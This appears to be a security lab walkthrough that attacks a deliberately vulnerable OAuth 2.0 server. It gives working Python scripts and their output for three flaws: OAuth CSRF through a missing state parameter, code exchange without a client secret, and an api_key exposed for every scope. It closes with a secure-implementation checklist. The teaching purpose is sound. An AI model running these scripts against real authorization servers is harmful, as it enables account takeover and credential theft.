Exploit three OAuth 2.0 implementation flaws in a live authorization server from Kali Linux:
Missing state parameter — no CSRF protection on the OAuth flow; attacker can force-bind their own OAuth account to a victim's account
client_secret not verified — exchange an authorization code without providing the correct client secret
Excessive data exposure via access token — the userinfo endpoint returns api_key regardless of the requested scope
Background
OAuth 2.0 is the authorization framework underlying "Login with Google/GitHub/Facebook" across millions of sites. Implementation flaws are ubiquitous because the spec leaves many details to implementors.
Real-world examples:
2014 "Covert Redirect" (Wang Jing) — open redirect in OAuth redirect_uri combined with missing state check; attacker could capture authorization codes from legitimate users.
2018 Facebook Access Token Exposure — "View As" feature leaked access tokens via a video upload OAuth flow; 50M accounts affected.
2021 Expo (React Native) OAuth — missing state check in the Expo SDK OAuth helper; attacker could force-associate their credentials with any victim account by tricking them into clicking a crafted OAuth link.
2023 Microsoft Azure AD — authorization code exchange didn't validate redirect_uri at the token endpoint; code could be exchanged from any redirect target.
python3 << 'EOF'
import urllib.request, json
T = "http://victim-adv10:5000"
def post(path, data):
req = urllib.request.Request(f"{T}{path}",
data=json.dumps(data).encode(), headers={"Content-Type":"application/json"})
return json.loads(urllib.request.urlopen(req).read())
def get(path, h={}):
req = urllib.request.Request(f"{T}{path}", headers=h)
return json.loads(urllib.request.urlopen(req).read())
print("[*] Attack 1: Missing state parameter — OAuth CSRF")
print()
print(" Attack scenario:")
print(" 1. Attacker initiates OAuth flow for THEIR OWN account")
print(" 2. Captures the authorization code before exchanging it")
print(" 3. Sends victim a crafted link: /callback?code=ATTACKER_CODE")
print(" 4. Victim's browser submits the code — server links ATTACKER account to VICTIM session")
print(" 5. Attacker can now log in as victim via their own credentials")
print()
# Attacker initiates flow with NO state
r1 = get("/api/oauth/authorize?client_id=myapp&redirect_uri=http://victim-adv10:5000/callback&scope=read&user=admin")
# No state parameter — no CSRF protection
code = r1['auth_code']
state_received = r1['state_received']
print(f" Attacker's auth code: {code}")
print(f" State received: '{state_received}' ← EMPTY — no CSRF token issued")
print()
# Exchange without client_secret
r2 = post("/api/oauth/token", {"code": code, "client_id": "myapp"})
token = r2['access_token']
print(f" Token obtained: {token[:30]}...")
print(f" Server note: {r2['note']}")
print()
# Use token to access admin resources
r3 = get("/api/oauth/userinfo", {"Authorization": f"Bearer {token}"})
print(f"[!] Admin access: {r3}")
EOF
Attacker's auth code: b4d8797c312a241e
State received: '' ← EMPTY — no CSRF token issued
Token obtained: 28e2d57e34dac316f6d4...
Server note: client_secret was NOT verified!
[!] Admin access: {'api_key': 'admin-super-secret', 'email': '[email protected]', 'role': 'admin', ...}
python3 << 'EOF'
import urllib.request, json
T = "http://victim-adv10:5000"
def post(path, data):
req = urllib.request.Request(f"{T}{path}",
data=json.dumps(data).encode(), headers={"Content-Type":"application/json"})
return json.loads(urllib.request.urlopen(req).read())
def get(path, h={}):
req = urllib.request.Request(f"{T}{path}", headers=h)
return json.loads(urllib.request.urlopen(req).read())
print("[*] Attack 2: client_secret bypass — code exchange without secret")
print()
# Get a fresh code
r1 = get("/api/oauth/authorize?client_id=myapp&redirect_uri=http://victim-adv10:5000/callback&scope=read&user=alice")
code = r1['auth_code']
tests = [
("No secret at all", {"code":code,"client_id":"myapp"}),
("Wrong secret", {"code":code+"_new","client_id":"myapp"}),
]
# Get new codes for each test
for name, payload in tests:
r_auth = get("/api/oauth/authorize?client_id=myapp&redirect_uri=http://victim-adv10:5000/callback&scope=read&user=alice")
payload["code"] = r_auth["auth_code"]
try:
r2 = post("/api/oauth/token", payload)
print(f" {name}: {'SUCCESS — token=' + r2.get('access_token','')[:20] + '...' if 'access_token' in r2 else 'FAILED: ' + r2.get('error','')}")
except Exception as e:
print(f" {name}: ERROR {e}")
print()
print("[!] Any public client (e.g. a mobile app) can exchange codes without the secret")
print(" This allows code interception attacks to succeed without needing the secret")
print(" Fix: require PKCE (Proof Key for Code Exchange) for public clients")
EOF
python3 << 'EOF'
import urllib.request, json
T = "http://victim-adv10:5000"
def post(path, data):
req = urllib.request.Request(f"{T}{path}",
data=json.dumps(data).encode(), headers={"Content-Type":"application/json"})
return json.loads(urllib.request.urlopen(req).read())
def get(path, h={}):
req = urllib.request.Request(f"{T}{path}", headers=h)
return json.loads(urllib.request.urlopen(req).read())
print("[*] Attack 3: Excessive data exposure via userinfo endpoint")
print()
scopes_to_test = ['read', 'profile', 'email', 'openid']
for scope in scopes_to_test:
r1 = get(f"/api/oauth/authorize?client_id=myapp&redirect_uri=http://victim-adv10:5000/callback&scope={scope}&user=alice")
r2 = post("/api/oauth/token", {"code":r1['auth_code'],"client_id":"myapp"})
r3 = get("/api/oauth/userinfo", {"Authorization":f"Bearer {r2['access_token']}"})
print(f" scope={scope:<10} → api_key returned: {r3.get('api_key','NOT PRESENT')}")
print()
print("[!] api_key is returned for ALL scopes including minimal 'read'")
print(" The api_key field should only be returned for scope='credentials' or similar")
print(" Principle: return the minimum data needed for the requested scope")
EOF
scope=read → api_key returned: alice-secret-key
scope=profile → api_key returned: alice-secret-key
scope=email → api_key returned: alice-secret-key
scope=openid → api_key returned: alice-secret-key
[!] api_key is returned for ALL scopes
python3 << 'EOF'
print("[*] Secure OAuth 2.0 implementation checklist:")
checklist = [
("state parameter", "Generate cryptographically random state; verify on callback before exchanging code"),
("PKCE", "Use code_challenge/code_verifier for public clients instead of client_secret"),
("redirect_uri strict","Exact string match against pre-registered URIs; reject substrings and wildcards"),
("client_secret", "Require for confidential clients; use PKCE for public (mobile/SPA) clients"),
("token expiry", "Short-lived access tokens (15min); refresh tokens rotated on each use"),
("scope enforcement", "Return only fields relevant to the granted scope; api_key needs explicit scope"),
("code single-use", "Delete auth code on first use; reject replays"),
]
for item, fix in checklist:
print(f" {item:<22} → {fix}")
EOF
exit